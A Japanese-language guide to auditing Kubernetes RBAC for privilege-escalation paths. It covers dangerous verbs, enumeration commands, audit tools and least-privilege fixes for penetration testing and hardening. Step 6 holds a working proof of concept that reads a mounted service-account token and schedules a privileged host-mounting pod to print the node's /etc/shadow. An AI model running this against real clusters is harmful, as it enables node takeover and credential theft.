Kubernetes RBAC権限昇格監査 は何をしますか?
法的通知: このスキルは許可されたセキュリティテストおよび教育目的にのみ使用してください。RBAC権限の列挙と行使は、ライブクラスターのアクセス態勢に影響を与えます。自分が所有するクラスター、または書面で明示的に許可されたクラスターでのみテストを実施してください。
概要
Kubernetesのロールベースアクセス制御(RBAC、MITRE ATT&CK T1078 有効なアカウント)は、Role/ClusterRoleルールとRoleBinding/ClusterRoleBindingによるバインドを通じて、すべてのユーザーとサービスアカウントが実行できる操作を定義します。ワークロードはデフォルトでマウントされたサービスアカウントトークンとともに実行されるため、攻撃者が1つのPodを侵害すると、そのアカウントのRBAC権限を継承します。過剰な権限を持つバインディングは、1つの侵害Podをクラスター乗っ取りに変えてしまいます。特定の動詞とリソースは「RBAC管理権限相当」となります。
Kubernetesの「RBAC優良プラクティス」ガイダンスとUnit 42の調査によると、危険なプリミティブは次のとおりです。
- ロールに対する
escalate— 自分自身に任意の権限を付与します(保有していない権限も含む) - ClusterRoleに対する
bind—cluster-adminへのバインディングを作成します - ユーザー/グループ/サービスアカウントに対する
impersonate—system:mastersを含む任意の主体として動作します podsに対するcreate/update/patch— 特権Podをスケジュールしたりノードをマウントして、ホストにエスケープします(T1611)pods/exec、pods/attach、pods/ephemeralcontainersに対するcreate— 既存のPodでコードを実行しますsecretsに対するget/list/watch— listは他のサービスアカウントトークンを含む秘密情報全体を返しますserviceaccounts/tokenに対するcreate— より特権的なアカウントのトークンを発行しますvalidatingwebhookconfigurations/mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approvalに対するupdate/patch— admission/CSRの悪用による管理権限昇格- ワイルドカード(
verbs: ["*"]、resources: ["*"]) — 暗黙の超特権
このスキルは、すべての主体の実効権限を体系的に列挙し、どの主体がこれらの昇格プリミティブを保持しているかをマッピングし、修正のためのエビデンスを生成します。出典:Kubernetes RBAC優良プラクティス、Unit 42 Kubernetes RBAC研究。
使用タイミング
- 許可されたKubernetesセキュリティアセスメントまたはクラスターペネトレーションテスト中
- Podを侵害した後、そのサービスアカウントトークンがアクセスできる範囲を特定するため
- 本番稼働前のRBAC構成のずれをレビューする場合
- プラットフォーム移行やHelmロールアウト後に最小権限を検証する場合
前提条件
- ターゲットクラスターに対して設定された
kubectl(自身の資格情報、または取得したサービスアカウントトークン) - RBACオブジェクトへの読み取りアクセス(ほとんどの監査はクラスターリーダーまたは管理者コンテキストで実行されます)
- 監査ツール:
# rbac-police - 権限昇格経路の発見(Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - アクションを実行できる主体の特定(Aqua) kubectl krew install who-can # rakkess - 現在または別の主体に対するリソース×動詞のアクセスマトリックス kubectl krew install access-matrix # rbac-lookup - 主体が持つロールの特定(FairwindsOps) kubectl krew install rbac-lookup
目的
- すべての
Role、ClusterRole、RoleBinding、ClusterRoleBindingオブジェクトを棚卸する kubectl auth can-i --asを使用して、主体ごとの実効権限を列挙する- RBAC管理権限相当のプリミティブを保持する主体を特定する
- トークンをマウントするPodを過剰権限のサービスアカウントにトレースする
- (ラボ環境で)1つの権限昇格経路をエンドツーエンドで実証する
- 優先順位付けされた所見レポートと最小権限の修正手順を出力する
MITRE ATT&CK マッピング
| テクニックID | 名称 | 戦術 |
|---|---|---|
| T1078 | 有効なアカウント | 防御回避 / 永続化 / 権限昇格 |
| T1098 | アカウント操作 | 永続化 |
| T1528 | アプリケーションアクセストークンの窃取 | 資格情報アクセス |
| T1613 | コンテナとリソースの探索 | 探索 |
| T1611 | ホストへのエスケープ | 権限昇格 |
ワークフロー
ステップ 1: RBACオブジェクトの棚卸
# すべてのロールとバインディング(クラスター全体)
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# オフライン分析用にRBAC全体をダンプ
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# cluster-adminにバインドされている主体は?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
ステップ 2: 主体ごとの実効権限の列挙
kubectl auth can-iは、ライブのオーソライザー(RBAC + Webhook)を評価するため、信頼性の高いチェックです。--asを使用して主体を偽装します(監査IDに偽装権限が必要です)。
# サービスアカウントの完全なアクセスマトリックス
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# 危険な権限のターゲット調査
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess: 主体の動詞×リソースマトリックス全体
kubectl access-matrix --as system:serviceaccount:dev:builder
ステップ 3: 昇格プリミティブの追跡
# クラスター全体で危険なアクションを実行できる主体は?
kubectl who-can create pods
kubectl who-can '*' '*' # ワイルドカードの神モード保持者
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # バインド形式の昇格
# 生ダンプからescalate/bind/impersonate動詞とワイルドカードをgrep
rg -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
ステップ 4: rbac-police による自動昇格経路分析
rbac-policeはクラスタースナップショットに対してRegoポリシーを評価し、管理権限に昇格できる主体とその正確な経路を明らかにします。
# 組み込みのすべての昇格チェックを実行(読み取りアクセス権のあるkubeconfigが必要)
./rbac-police eval ./lib/policies/
# 権限昇格ポリシーのみ、重大な所見をJSONで出力
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# 最初にスナップショットを取得(オフライン分析 / エアギャップレビュー)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
ステップ 5: Pod から過剰権限サービスアカウントへのトレース
所見が意味を持つのは、到達可能なワークロードがそのトークンをマウントしている場合のみです。
# すべてのPodをサービスアカウントにマッピング
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# リスクのあるSAに紐づく、トークンを自動マウントするPod(デフォルト)を検出
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: そのサービスアカウントは実際に何を保持しているか?
kubectl rbac-lookup builder --kind serviceaccount
ステップ 6: 権限昇格経路の実証(ラボ環境のみ)
例:create pods権限とノードアクセス権を持つサービスアカウントが、ホストファイルシステムをマウントする特権Podをスケジュールできます。
# 取得したトークンを使用して、APIサーバーを直接ターゲットにする
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# 危険な権限を確認
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# 特権ホストマウントPodをスケジュール(ノード/ホスト乗っ取りを証明)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # ホストの /etc/shadow が表示されれば昇格成功
ステップ 7: 報告と修正
# 最小権限違反のサマリーを生成
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
修正: ワイルドカードを明示的な動詞/リソースに置き換える。escalate/bind/impersonateは必要な場合を除いて削除する。APIを呼び出さないワークロードでは automountServiceAccountToken: false を設定する。可能な場合は Role(名前空間スコープ)を ClusterRole よりも優先する。aggregationRuleは慎重に使用する。
ツールとリソース
| ツール | 目的 | 出典 |
|---|---|---|
| kubectl auth can-i | 信頼できるライブ権限チェック(--list、--as) | https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Regoベースの昇格経路分析 | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | 逆引き:誰がXを実行できるか | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | 主体ごとの動詞×リソースマトリックス | https://github.com/corneliusweig/rakkess |
| rbac-lookup | 主体が持つロール | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC優良プラクティス | 権威ある昇格プリミティブリスト | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
危険なRBACプリミティブ リファレンス
| 動詞 / リソース | なぜ管理権限相当なのか |
|---|---|
escalate on roles | 自分自身に任意の権限を付与する |
bind on clusterroles | 自分自身をcluster-adminにバインドする |
impersonate users/groups | system:mastersとして動作する |
create pods (+ ノードアクセス) | 特権/hostPath Pod -> ホスト乗っ取り |
create pods/exec、pods/attach | 既存のPodでコードを実行する |
get/list secrets | すべてのトークンと資格情報を読み取る |
create serviceaccounts/token | 特権トークンを発行する |
*/* (ワイルドカード) | 暗黙の超特権 |
検証基準
- すべてのRole/ClusterRole/Bindingオブジェクトが棚卸・ダンプされている
- cluster-adminサブジェクトリストが列挙されている
- 各サービスアカウントの実効権限が
auth can-i --listで列挙されている - すべての危険プリミティブ保持者(escalate/bind/impersonate/secrets/pods)が特定されている
- rbac-policeの昇格経路がレビューされている
- トークンをマウントするPodがリスクのあるサービスアカウントにマッピングされている
- ラボ環境で少なくとも1つの昇格経路が実証されている
- 最小権限の修正を含む所見レポートが作成されている
- すべてのテストが許可された範囲内で実施された